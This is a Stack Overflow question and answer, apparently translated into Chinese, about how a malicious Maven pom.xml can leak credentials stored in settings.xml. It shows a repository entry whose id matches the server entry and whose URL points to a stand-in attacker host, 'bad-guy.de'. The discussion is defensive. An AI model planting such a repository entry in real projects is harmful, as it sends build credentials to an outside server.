目标:我希望确保Maven Repository的凭据不会泄漏。
可能威胁:考虑到我将凭据存储在settings.xml文件中,有人可能会让我处理一个恶意pom.xml,其中包含一个带有外部URL的存储库条目,以及一个与我的服务器条目匹配的id。解析该pom.xml的依赖项将将我的凭据传输到该外部服务器。->凭据泄露
问题:对此我能做些什么吗?
详细信息
使用Maven,服务器的凭据存储在settings.xml文件中。
例如。
<settings>
<servers>
<server>
<id>my-repo</id>
<username>MY_USER</username>
<password>MY_PASSWORD</password>
</servers>
</settings>settings.xml中的服务器条目与pom.xml中的Repository条目之间的连接使用匹配的id属性进行。
例如。
<repositories>
<repository>
<id>my-repo</id>
<url>https://my-repo.de/</url>
<releases>
<enabled>true</enabled>
</releases>
<snapshots>
<enabled>false</enabled>
</snapshots>
</repository>
</repositories>如果“坏人”让我使用包含这样一个片段的pom.xml,会发生什么?
<repositories>
<repository>
<id>my-repo</id>
<url>https://bad-guy.de/</url>
<releases>
<enabled>true</enabled>
</releases>
<snapshots>
<enabled>false</enabled>
</snapshots>
</repository>
</repositories>我的凭据/身份验证信息将通过传输到坏人的服务器而泄漏(因为id与settings.xml中配置的服务器匹配)。
除了确保代码/ pom.xml是可信的之外,我还能做些什么来保护我和/或CI-管道免受这种攻击吗?
发布于 2021-03-10 20:32:37
通常,如果您在POM上运行Maven,那么POM可以执行普通Java程序所能做的任何事情,比如读取和写入文件(主要是通过Maven插件,但也可以通过嵌入式Ant代码)。因此,阅读setting.xml是没有问题的,它实际上可以非常轻松地完成一个自己写的Maven插件。
当然,如果构建服务器与互联网断开连接,情况就会略有不同(就像许多公司一样)。当然,POM仍然可以在服务器上做很多不好的事情,但是它不能(至少直接)向外部侦听器走私信息。
https://stackoverflow.com/questions/66531043
复制相似问题